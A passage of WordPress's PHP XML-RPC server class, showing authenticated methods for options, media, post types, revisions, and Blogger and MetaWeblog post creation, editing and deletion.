$this->escape( $args ); $username = $args[1]; $password = $args[2]; $options = (array) $args[3]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } if ( ! current_user_can( 'manage_options' ) ) { return new IXR_Error( 403, __( 'Sorry, you are not allowed to update options.' ) ); } $option_names = array(); foreach ( $options as $o_name => $o_value ) { $option_names[] = $o_name; if ( ! array_key_exists( $o_name, $this->blog_options ) ) { continue; } if ( true == $this->blog_options[ $o_name ]['readonly'] ) { continue; } update_option( $this->blog_options[ $o_name ]['option'], wp_unslash( $o_value ) ); } // Now return the updated values. return $this->_getOptions( $option_names ); } /** * Retrieve a media item by ID * * @since 3.1.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * @type int $attachment_id * } * @return array|IXR_Error Associative array contains: * - 'date_created_gmt' * - 'parent' * - 'link' * - 'thumbnail' * - 'title' * - 'caption' * - 'description' * - 'metadata' */ public function wp_getMediaItem( $args ) { $this->escape( $args ); $username = $args[1]; $password = $args[2]; $attachment_id = (int) $args[3]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } if ( ! current_user_can( 'upload_files' ) ) { return new IXR_Error( 403, __( 'Sorry, you are not allowed to upload files.' ) ); } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.getMediaItem', $args, $this ); $attachment = get_post( $attachment_id ); if ( ! $attachment || 'attachment' !== $attachment->post_type ) { return new IXR_Error( 404, __( 'Invalid attachment ID.' ) ); } return $this->_prepare_media_item( $attachment ); } /** * Retrieves a collection of media library items (or attachments) * * Besides the common blog_id (unused), username, and password arguments, it takes a filter * array as last argument. * * Accepted 'filter' keys are 'parent_id', 'mime_type', 'offset', and 'number'. * * The defaults are as follows: * - 'number' - Default is 5. Total number of media items to retrieve. * - 'offset' - Default is 0. See WP_Query::query() for more. * - 'parent_id' - Default is ''. The post where the media item is attached. Empty string shows all media items. 0 shows unattached media items. * - 'mime_type' - Default is ''. Filter by mime type (e.g., 'image/jpeg', 'application/pdf') * * @since 3.1.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * @type array $struct * } * @return array|IXR_Error Contains a collection of media items. See wp_xmlrpc_server::wp_getMediaItem() for a description of each item contents */ public function wp_getMediaLibrary( $args ) { $this->escape( $args ); $username = $args[1]; $password = $args[2]; $struct = isset( $args[3] ) ? $args[3] : array(); $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } if ( ! current_user_can( 'upload_files' ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to upload files.' ) ); } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.getMediaLibrary', $args, $this ); $parent_id = ( isset( $struct['parent_id'] ) ) ? absint( $struct['parent_id'] ) : ''; $mime_type = ( isset( $struct['mime_type'] ) ) ? $struct['mime_type'] : ''; $offset = ( isset( $struct['offset'] ) ) ? absint( $struct['offset'] ) : 0; $number = ( isset( $struct['number'] ) ) ? absint( $struct['number'] ) : -1; $attachments = get_posts( array( 'post_type' => 'attachment', 'post_parent' => $parent_id, 'offset' => $offset, 'numberposts' => $number, 'post_mime_type' => $mime_type, ) ); $attachments_struct = array(); foreach ( $attachments as $attachment ) { $attachments_struct[] = $this->_prepare_media_item( $attachment ); } return $attachments_struct; } /** * Retrieves a list of post formats used by the site. * * @since 3.1.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * } * @return array|IXR_Error List of post formats, otherwise IXR_Error object. */ public function wp_getPostFormats( $args ) { $this->escape( $args ); $username = $args[1]; $password = $args[2]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } if ( ! current_user_can( 'edit_posts' ) ) { return new IXR_Error( 403, __( 'Sorry, you are not allowed to access details about this site.' ) ); } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.getPostFormats', $args, $this ); $formats = get_post_format_strings(); // Find out if they want a list of currently supports formats. if ( isset( $args[3] ) && is_array( $args[3] ) ) { if ( $args[3]['show-supported'] ) { if ( current_theme_supports( 'post-formats' ) ) { $supported = get_theme_support( 'post-formats' ); $data = array(); $data['all'] = $formats; $data['supported'] = $supported[0]; $formats = $data; } } } return $formats; } /** * Retrieves a post type * * @since 3.4.0 * * @see get_post_type_object() * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * @type string $post_type_name * @type array $fields (optional) * } * @return array|IXR_Error Array contains: * - 'labels' * - 'description' * - 'capability_type' * - 'cap' * - 'map_meta_cap' * - 'hierarchical' * - 'menu_position' * - 'taxonomies' * - 'supports' */ public function wp_getPostType( $args ) { if ( ! $this->minimum_args( $args, 4 ) ) { return $this->error; } $this->escape( $args ); $username = $args[1]; $password = $args[2]; $post_type_name = $args[3]; if ( isset( $args[4] ) ) { $fields = $args[4]; } else { /** * Filters the default query fields used by the given XML-RPC method. * * @since 3.4.0 * * @param array $fields An array of post type query fields for the given method. * @param string $method The method name. */ $fields = apply_filters( 'xmlrpc_default_posttype_fields', array( 'labels', 'cap', 'taxonomies' ), 'wp.getPostType' ); } $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.getPostType', $args, $this ); if ( ! post_type_exists( $post_type_name ) ) { return new IXR_Error( 403, __( 'Invalid post type.' ) ); } $post_type = get_post_type_object( $post_type_name ); if ( ! current_user_can( $post_type->cap->edit_posts ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit posts in this post type.' ) ); } return $this->_prepare_post_type( $post_type, $fields ); } /** * Retrieves a post types * * @since 3.4.0 * * @see get_post_types() * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * @type array $filter (optional) * @type array $fields (optional) * } * @return array|IXR_Error */ public function wp_getPostTypes( $args ) { if ( ! $this->minimum_args( $args, 3 ) ) { return $this->error; } $this->escape( $args ); $username = $args[1]; $password = $args[2]; $filter = isset( $args[3] ) ? $args[3] : array( 'public' => true ); if ( isset( $args[4] ) ) { $fields = $args[4]; } else { /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ $fields = apply_filters( 'xmlrpc_default_posttype_fields', array( 'labels', 'cap', 'taxonomies' ), 'wp.getPostTypes' ); } $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.getPostTypes', $args, $this ); $post_types = get_post_types( $filter, 'objects' ); $struct = array(); foreach ( $post_types as $post_type ) { if ( ! current_user_can( $post_type->cap->edit_posts ) ) { continue; } $struct[ $post_type->name ] = $this->_prepare_post_type( $post_type, $fields ); } return $struct; } /** * Retrieve revisions for a specific post. * * @since 3.5.0 * * The optional $fields parameter specifies what fields will be included * in the response array. * * @uses wp_get_post_revisions() * @see wp_getPost() for more on $fields * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * @type int $post_id * @type array $fields (optional) * } * @return array|IXR_Error contains a collection of posts. */ public function wp_getRevisions( $args ) { if ( ! $this->minimum_args( $args, 4 ) ) { return $this->error; } $this->escape( $args ); $username = $args[1]; $password = $args[2]; $post_id = (int) $args[3]; if ( isset( $args[4] ) ) { $fields = $args[4]; } else { /** * Filters the default revision query fields used by the given XML-RPC method. * * @since 3.5.0 * * @param array $field An array of revision query fields. * @param string $method The method name. */ $fields = apply_filters( 'xmlrpc_default_revision_fields', array( 'post_date', 'post_date_gmt' ), 'wp.getRevisions' ); } $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.getRevisions', $args, $this ); $post = get_post( $post_id ); if ( ! $post ) { return new IXR_Error( 404, __( 'Invalid post ID.' ) ); } if ( ! current_user_can( 'edit_post', $post_id ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit posts.' ) ); } // Check if revisions are enabled. if ( ! wp_revisions_enabled( $post ) ) { return new IXR_Error( 401, __( 'Sorry, revisions are disabled.' ) ); } $revisions = wp_get_post_revisions( $post_id ); if ( ! $revisions ) { return array(); } $struct = array(); foreach ( $revisions as $revision ) { if ( ! current_user_can( 'read_post', $revision->ID ) ) { continue; } // Skip autosaves. if ( wp_is_post_autosave( $revision ) ) { continue; } $struct[] = $this->_prepare_post( get_object_vars( $revision ), $fields ); } return $struct; } /** * Restore a post revision * * @since 3.5.0 * * @uses wp_restore_post_revision() * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * @type int $revision_id * } * @return bool|IXR_Error false if there was an error restoring, true if success. */ public function wp_restoreRevision( $args ) { if ( ! $this->minimum_args( $args, 3 ) ) { return $this->error; } $this->escape( $args ); $username = $args[1]; $password = $args[2]; $revision_id = (int) $args[3]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'wp.restoreRevision', $args, $this ); $revision = wp_get_post_revision( $revision_id ); if ( ! $revision ) { return new IXR_Error( 404, __( 'Invalid post ID.' ) ); } if ( wp_is_post_autosave( $revision ) ) { return new IXR_Error( 404, __( 'Invalid post ID.' ) ); } $post = get_post( $revision->post_parent ); if ( ! $post ) { return new IXR_Error( 404, __( 'Invalid post ID.' ) ); } if ( ! current_user_can( 'edit_post', $revision->post_parent ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post.' ) ); } // Check if revisions are disabled. if ( ! wp_revisions_enabled( $post ) ) { return new IXR_Error( 401, __( 'Sorry, revisions are disabled.' ) ); } $post = wp_restore_post_revision( $revision_id ); return (bool) $post; } /* * Blogger API functions. * Specs on http://plant.blogger.com/api and https://groups.yahoo.com/group/bloggerDev/ */ /** * Retrieve blogs that user owns. * * Will make more sense once we support multiple blogs. * * @since 1.5.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * } * @return array|IXR_Error */ public function blogger_getUsersBlogs( $args ) { if ( ! $this->minimum_args( $args, 3 ) ) { return $this->error; } if ( is_multisite() ) { return $this->_multisite_getUsersBlogs( $args ); } $this->escape( $args ); $username = $args[1]; $password = $args[2]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'blogger.getUsersBlogs', $args, $this ); $is_admin = current_user_can( 'manage_options' ); $struct = array( 'isAdmin' => $is_admin, 'url' => get_option( 'home' ) . '/', 'blogid' => '1', 'blogName' => get_option( 'blogname' ), 'xmlrpc' => site_url( 'xmlrpc.php', 'rpc' ), ); return array( $struct ); } /** * Private function for retrieving a users blogs for multisite setups * * @since 3.0.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type string $username Username. * @type string $password Password. * } * @return array|IXR_Error */ protected function _multisite_getUsersBlogs( $args ) { $current_blog = get_site(); $domain = $current_blog->domain; $path = $current_blog->path . 'xmlrpc.php'; $rpc = new IXR_Client( set_url_scheme( "http://{$domain}{$path}" ) ); $rpc->query( 'wp.getUsersBlogs', $args[1], $args[2] ); $blogs = $rpc->getResponse(); if ( isset( $blogs['faultCode'] ) ) { return new IXR_Error( $blogs['faultCode'], $blogs['faultString'] ); } if ( $_SERVER['HTTP_HOST'] == $domain && $_SERVER['REQUEST_URI'] == $path ) { return $blogs; } else { foreach ( (array) $blogs as $blog ) { if ( strpos( $blog['url'], $_SERVER['HTTP_HOST'] ) ) { return array( $blog ); } } return array(); } } /** * Retrieve user's data. * * Gives your client some info about you, so you don't have to. * * @since 1.5.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * } * @return array|IXR_Error */ public function blogger_getUserInfo( $args ) { $this->escape( $args ); $username = $args[1]; $password = $args[2]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } if ( ! current_user_can( 'edit_posts' ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to access user data on this site.' ) ); } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'blogger.getUserInfo', $args, $this ); $struct = array( 'nickname' => $user->nickname, 'userid' => $user->ID, 'url' => $user->user_url, 'lastname' => $user->last_name, 'firstname' => $user->first_name, ); return $struct; } /** * Retrieve post. * * @since 1.5.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type int $post_ID * @type string $username * @type string $password * } * @return array|IXR_Error */ public function blogger_getPost( $args ) { $this->escape( $args ); $post_ID = (int) $args[1]; $username = $args[2]; $password = $args[3]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } $post_data = get_post( $post_ID, ARRAY_A ); if ( ! $post_data ) { return new IXR_Error( 404, __( 'Invalid post ID.' ) ); } if ( ! current_user_can( 'edit_post', $post_ID ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post.' ) ); } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'blogger.getPost', $args, $this ); $categories = implode( ',', wp_get_post_categories( $post_ID ) ); $content = '<title>' . wp_unslash( $post_data['post_title'] ) . ''; $content .= '' . $categories . ''; $content .= wp_unslash( $post_data['post_content'] ); $struct = array( 'userid' => $post_data['post_author'], 'dateCreated' => $this->_convert_date( $post_data['post_date'] ), 'content' => $content, 'postid' => (string) $post_data['ID'], ); return $struct; } /** * Retrieve list of recent posts. * * @since 1.5.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type string $appkey (unused) * @type int $blog_id (unused) * @type string $username * @type string $password * @type int $numberposts (optional) * } * @return array|IXR_Error */ public function blogger_getRecentPosts( $args ) { $this->escape( $args ); // $args[0] = appkey - ignored. $username = $args[2]; $password = $args[3]; if ( isset( $args[4] ) ) { $query = array( 'numberposts' => absint( $args[4] ) ); } else { $query = array(); } $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } if ( ! current_user_can( 'edit_posts' ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit posts.' ) ); } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'blogger.getRecentPosts', $args, $this ); $posts_list = wp_get_recent_posts( $query ); if ( ! $posts_list ) { $this->error = new IXR_Error( 500, __( 'Either there are no posts, or something went wrong.' ) ); return $this->error; } $recent_posts = array(); foreach ( $posts_list as $entry ) { if ( ! current_user_can( 'edit_post', $entry['ID'] ) ) { continue; } $post_date = $this->_convert_date( $entry['post_date'] ); $categories = implode( ',', wp_get_post_categories( $entry['ID'] ) ); $content = '' . wp_unslash( $entry['post_title'] ) . ''; $content .= '' . $categories . ''; $content .= wp_unslash( $entry['post_content'] ); $recent_posts[] = array( 'userid' => $entry['post_author'], 'dateCreated' => $post_date, 'content' => $content, 'postid' => (string) $entry['ID'], ); } return $recent_posts; } /** * Deprecated. * * @since 1.5.0 * @deprecated 3.5.0 * * @param array $args Unused. * @return IXR_Error Error object. */ public function blogger_getTemplate( $args ) { return new IXR_Error( 403, __( 'Sorry, this method is not supported.' ) ); } /** * Deprecated. * * @since 1.5.0 * @deprecated 3.5.0 * * @param array $args Unused. * @return IXR_Error Error object. */ public function blogger_setTemplate( $args ) { return new IXR_Error( 403, __( 'Sorry, this method is not supported.' ) ); } /** * Creates new post. * * @since 1.5.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type string $appkey (unused) * @type int $blog_id (unused) * @type string $username * @type string $password * @type string $content * @type string $publish * } * @return int|IXR_Error */ public function blogger_newPost( $args ) { $this->escape( $args ); $username = $args[2]; $password = $args[3]; $content = $args[4]; $publish = $args[5]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'blogger.newPost', $args, $this ); $cap = ( $publish ) ? 'publish_posts' : 'edit_posts'; if ( ! current_user_can( get_post_type_object( 'post' )->cap->create_posts ) || ! current_user_can( $cap ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to post on this site.' ) ); } $post_status = ( $publish ) ? 'publish' : 'draft'; $post_author = $user->ID; $post_title = xmlrpc_getposttitle( $content ); $post_category = xmlrpc_getpostcategory( $content ); $post_content = xmlrpc_removepostdata( $content ); $post_date = current_time( 'mysql' ); $post_date_gmt = current_time( 'mysql', 1 ); $post_data = compact( 'post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_title', 'post_category', 'post_status' ); $post_ID = wp_insert_post( $post_data ); if ( is_wp_error( $post_ID ) ) { return new IXR_Error( 500, $post_ID->get_error_message() ); } if ( ! $post_ID ) { return new IXR_Error( 500, __( 'Sorry, the post could not be created.' ) ); } $this->attach_uploads( $post_ID, $post_content ); /** * Fires after a new post has been successfully created via the XML-RPC Blogger API. * * @since 3.4.0 * * @param int $post_ID ID of the new post. * @param array $args An array of new post arguments. */ do_action( 'xmlrpc_call_success_blogger_newPost', $post_ID, $args ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase return $post_ID; } /** * Edit a post. * * @since 1.5.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type int $post_ID * @type string $username * @type string $password * @type string $content * @type bool $publish * } * @return true|IXR_Error true when done. */ public function blogger_editPost( $args ) { $this->escape( $args ); $post_ID = (int) $args[1]; $username = $args[2]; $password = $args[3]; $content = $args[4]; $publish = $args[5]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'blogger.editPost', $args, $this ); $actual_post = get_post( $post_ID, ARRAY_A ); if ( ! $actual_post || 'post' !== $actual_post['post_type'] ) { return new IXR_Error( 404, __( 'Sorry, no such post.' ) ); } $this->escape( $actual_post ); if ( ! current_user_can( 'edit_post', $post_ID ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post.' ) ); } if ( 'publish' === $actual_post['post_status'] && ! current_user_can( 'publish_posts' ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to publish this post.' ) ); } $postdata = array(); $postdata['ID'] = $actual_post['ID']; $postdata['post_content'] = xmlrpc_removepostdata( $content ); $postdata['post_title'] = xmlrpc_getposttitle( $content ); $postdata['post_category'] = xmlrpc_getpostcategory( $content ); $postdata['post_status'] = $actual_post['post_status']; $postdata['post_excerpt'] = $actual_post['post_excerpt']; $postdata['post_status'] = $publish ? 'publish' : 'draft'; $result = wp_update_post( $postdata ); if ( ! $result ) { return new IXR_Error( 500, __( 'Sorry, the post could not be updated.' ) ); } $this->attach_uploads( $actual_post['ID'], $postdata['post_content'] ); /** * Fires after a post has been successfully updated via the XML-RPC Blogger API. * * @since 3.4.0 * * @param int $post_ID ID of the updated post. * @param array $args An array of arguments for the post to edit. */ do_action( 'xmlrpc_call_success_blogger_editPost', $post_ID, $args ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase return true; } /** * Remove a post. * * @since 1.5.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type int $post_ID * @type string $username * @type string $password * } * @return true|IXR_Error True when post is deleted. */ public function blogger_deletePost( $args ) { $this->escape( $args ); $post_ID = (int) $args[1]; $username = $args[2]; $password = $args[3]; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'blogger.deletePost', $args, $this ); $actual_post = get_post( $post_ID, ARRAY_A ); if ( ! $actual_post || 'post' !== $actual_post['post_type'] ) { return new IXR_Error( 404, __( 'Sorry, no such post.' ) ); } if ( ! current_user_can( 'delete_post', $post_ID ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to delete this post.' ) ); } $result = wp_delete_post( $post_ID ); if ( ! $result ) { return new IXR_Error( 500, __( 'Sorry, the post could not be deleted.' ) ); } /** * Fires after a post has been successfully deleted via the XML-RPC Blogger API. * * @since 3.4.0 * * @param int $post_ID ID of the deleted post. * @param array $args An array of arguments to delete the post. */ do_action( 'xmlrpc_call_success_blogger_deletePost', $post_ID, $args ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase return true; } /* * MetaWeblog API functions. * Specs on wherever Dave Winer wants them to be. */ /** * Create a new post. * * The 'content_struct' argument must contain: * - title * - description * - mt_excerpt * - mt_text_more * - mt_keywords * - mt_tb_ping_urls * - categories * * Also, it can optionally contain: * - wp_slug * - wp_password * - wp_page_parent_id * - wp_page_order * - wp_author_id * - post_status | page_status - can be 'draft', 'private', 'publish', or 'pending' * - mt_allow_comments - can be 'open' or 'closed' * - mt_allow_pings - can be 'open' or 'closed' * - date_created_gmt * - dateCreated * - wp_post_thumbnail * * @since 1.5.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $blog_id (unused) * @type string $username * @type string $password * @type array $content_struct * @type int $publish * } * @return int|IXR_Error */ public function mw_newPost( $args ) { $this->escape( $args ); $username = $args[1]; $password = $args[2]; $content_struct = $args[3]; $publish = isset( $args[4] ) ? $args[4] : 0; $user = $this->login( $username, $password ); if ( ! $user ) { return $this->error; } /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'metaWeblog.newPost', $args, $this ); $page_template = ''; if ( ! empty( $content_struct['post_type'] ) ) { if ( 'page' === $content_struct['post_type'] ) { if ( $publish ) { $cap = 'publish_pages'; } elseif ( isset( $content_struct['page_status'] ) && 'publish' === $content_struct['page_status'] ) { $cap = 'publish_pages'; } else { $cap = 'edit_pages'; } $error_message = __( 'Sorry, you are not allowed to publish pages on this site.' ); $post_type = 'page'; if ( ! empty( $content_struct['wp_page_template'] ) ) { $page_template = $content_struct['wp_page_template']; } } elseif ( 'post' === $content_struct['post_type'] ) { if ( $publish ) { $cap = 'publish_posts'; } elseif ( isset( $content_struct['post_status'] ) && 'publish' === $content_struct['post_status'] ) { $cap = 'publish_posts'; } else { $cap = 'edit_posts'; } $error_message = __( 'Sorry, you are not allowed to publish posts on this site.' ); $post_type = 'post'; } else { // No other 'post_type' values are allowed here. return new IXR_Error( 401, __( 'Invalid post type.' ) ); } } else { if ( $publish ) { $cap = 'publish_posts'; } elseif ( isset( $content_struct['post_status'] ) && 'publish' === $content_struct['post_status'] ) { $cap = 'publish_posts'; } else { $cap = 'edit_posts'; } $error_message = __( 'Sorry, you are not allowed to publish posts on this site.' ); $post_type = 'post'; } if ( ! current_user_can( get_post_type_object( $post_type )->cap->create_posts ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to publish posts on this site.' ) ); } if ( ! current_user_can( $cap ) ) { return new IXR_Error( 401, $error_message ); } // Check for a valid post format if one was given. if ( isset( $content_struct['wp_post_format'] ) ) { $content_struct['wp_post_format'] = sanitize_key( $content_struct['wp_post_format'] ); if ( ! array_key_exists( $content_struct['wp_post_format'], get_post_format_strings() ) ) { return new IXR_Error( 404, __( 'Invalid post format.' ) ); } } // Let WordPress generate the 'post_name' (slug) unless // one has been provided. $post_name = ''; if ( isset( $content_struct['wp_slug'] ) ) { $post_name = $content_struct['wp_slug']; } // Only use a password if one was given. if ( isset( $content_struct['wp_password'] ) ) { $post_password = $content_struct['wp_password']; } else { $post_password = ''; } // Only set a post parent if one was given. if ( isset( $content_struct['wp_page_parent_id'] ) ) { $post_parent = $content_struct['wp_page_parent_id']; } else { $post_parent = 0; } // Only set the 'menu_order' if it was given. if ( isset( $content_struct['wp_page_order'] ) ) { $menu_order = $content_struct['wp_page_order']; } else { $menu_order = 0; } $post_author = $user->ID; // If an author id was provided then use it instead. if ( isset( $content_struct['wp_author_id'] ) && ( $user->ID != $content_struct['wp_author_id'] ) ) { switch ( $post_type ) { case 'post': if ( ! current_user_can( 'edit_others_posts' ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to create posts as this user.' ) ); } break; case 'page': if ( ! current_user_can( 'edit_others_pages' ) ) { return new IXR_Error( 401, __( 'Sorry, you are not allowed to create pages as this user.' ) ); } break; default: return new IXR_Error( 401, __( 'Invalid post type.' ) ); } $author = get_userdata( $content_struct['wp_author_id'] ); if ( ! $author ) { return new IXR_Error( 404, __( 'Invalid author ID.' ) ); } $post_author = $content_struct['wp_author_id']; } $post_title = isset( $content_struct['title'] ) ? $content_struct['title'] : null; $post_content = isset( $content_struct['description'] ) ? $content_struct['description'] : null; $post_status = $publish ? 'publish' : 'draft'; if ( isset( $content_struct[ "{$post_type}_status" ] ) ) { switch ( $content_struct[ "{$post_type}_status" ] ) { case 'draft': case 'pending': case 'private': case 'publish': $post_status = $content_struct[ "{$post_type}_status" ]; break; default: $post_status = $publish ? 'publish' : 'draft'; break; } } $post_excerpt = isset( $content_struct['mt_excerpt'] ) ? $content_struct['mt_excerpt'] : null; $post_more = isset( $content_struct['mt_text_more'] ) ? $content_struct['mt_text_more'] : null; $tags_input = isset( $content_struct['mt_keywords'] ) ? $content_struct['mt_keywords'] : null; if ( isset( $content_struct['mt_allow_comments'] ) ) { if ( ! is_numeric( $content_struct['mt_allow_comments'] ) ) { switch ( $content_struct['mt_allow_comments'] ) { case 'closed': $comment_status = 'closed'; break; case 'open': $comment_status = 'open'; break; default: $comment_status = get_default_comment_status( $post_type ); break; } } else { switch ( (int) $content_struct['mt_allow_comments'] ) { case 0: case 2: $comment_status = 'closed'; break; case 1: $comment_status = 'open'; break; default: $comment_status = get_default_comment_status( $post_type ); break; } } } else { $comment_status = get_default_comment_status( $post_type ); } if ( isset( $content_struct['mt_allow_pings'] ) ) { if ( ! is_numeric( $content_struct['mt_allow_pings'] ) ) { switch ( $content_struct['mt_allow_pings'] ) { case 'closed': $ping_status = 'closed'; break; case 'open': $ping_status = 'open'; break; default: $ping_status = get_default_comment_status( $post_type, 'pingback' ); break; } } else { switch ( (int) $content_struct['mt_allow_pings'] ) { case 0: $ping_status = 'closed'; break; case 1: $ping_status = 'open'; break; default: $ping_status = get_default_comment_status( $post_type, 'pingback' ); break; } } } else { $ping_status = get_default_comment_status( $post_type, 'pingback' ); } if ( $post_more ) { $post_content = $post_content . '' . $post_more; } $to_ping = null; if ( isset( $content_struct['mt_tb_ping_urls'] ) ) { $to_ping = $content_struct['mt_tb_ping_urls']; if ( is_array( $to_ping ) ) { $to_ping = implode( ' ', $to_ping ); } } // Do some timestamp voodoo. if ( ! empty( $content_struct['date_created_gmt'] ) ) { // We know this is supposed to be GMT, so we're going to slap that Z on there by force. $dateCreated = rtrim( $content_struct['date_created_gmt']->getIso(), 'Z' ) . 'Z'; } elseif ( ! empty( $content_struct['dateCreated'] ) ) { $dateCreated = $content_struct['dateCreated']->getIso(); } if ( ! empty( $dateCreated ) ) { $post_date = iso8601_to_datetime( $dateCreated ); $post_date_gmt = iso8601_to_datetime( $dateCreated, 'gmt' ); } else { $post_date = ''; $post_date_gmt = ''; } $post_category = array(); if ( isset( $content_struct['categories'] ) ) { $catnames = $content_struct['categories']; if ( is_array( $catnames ) ) { foreach ( $catnames as $cat ) { $post_category[] = get_cat_ID( $cat ); } } } $postdata = compact( 'post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_title', 'post_category', 'post_status', 'post_excerpt', 'comment_status', 'ping_status', 'to_ping', 'post_type', 'post_name', 'post_password', 'post_parent', 'menu_order', 'tags_input', 'page_template' ); $post_ID = get_default_post_to_edit( $post_type, true )->ID; $postdata['ID'] = $post_ID; // Only posts can be sticky. if ( 'post' === $post_type && isset( $content_struct['sticky'] ) ) { $data = $postdata; $data['sticky'] = $content_struct['sticky']; $error = $this->_toggle_sticky( $data ); if ( $error ) { return $error; } } if ( isset( $content_struct['custom_fields'] ) ) { $this->set_custom_fields( $post_ID, $content_struct['custom_fields'] ); } if ( isset( $content_struct['wp_post_thumbnail'] ) ) { if ( set_post_thumbnail( $post_ID, $content_struct['wp_post_thumbnail'] ) === false ) { return new IXR_Error( 404, __( 'Invalid attachment ID.' ) ); } unset( $content_struct['wp_post_thumbnail'] ); } // Handle enclosures. $thisEnclosure = isset( $content_struct['enclosure'] ) ? $content_struct['enclosure'] : null; $this->add_enclosure_if_new( $post_ID, $thisEnclosure ); $this->attach_uploads( $post_ID, $post_content ); // Handle post formats if assigned, value is validated earlier // in this function. if ( isset( $content_struct['wp_post_format'] ) ) { set_post_format( $post_ID, $content_struct['wp_post_format'] ); } $post_ID = wp_insert_post( $postdata, true ); if ( is_wp_error( $post_ID ) ) { return new IXR_Error( 500, $post_ID->get_error_message() ); } if ( ! $post_ID ) { return new IXR_Error( 500, __( 'Sorry, the post could not be created.' ) ); } /** * Fires after a new post has been successfully created via the XML-RPC MovableType API. * * @since 3.4.0 * * @param int $post_ID ID of the new post. * @param array $args An array of arguments to create the new post. */ do_action( 'xmlrpc_call_success_mw_newPost', $post_ID, $args ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase return (string) $post_ID; } /** * Adds an enclosure to a post if it's new. * * @since 2.8.0 * * @param int $post_ID Post ID. * @param array $enclosure Enclosure data. */ public function add_enclosure_if_new( $post_ID, $enclosure ) { if ( is_array( $enclosure ) && isset( $enclosure['url'] ) && isset( $enclosure['length'] ) && isset( $enclosure['type'] ) ) { $encstring = $enclosure['url'] . "\n" . $enclosure['length'] . "\n" . $enclosure['type'] . 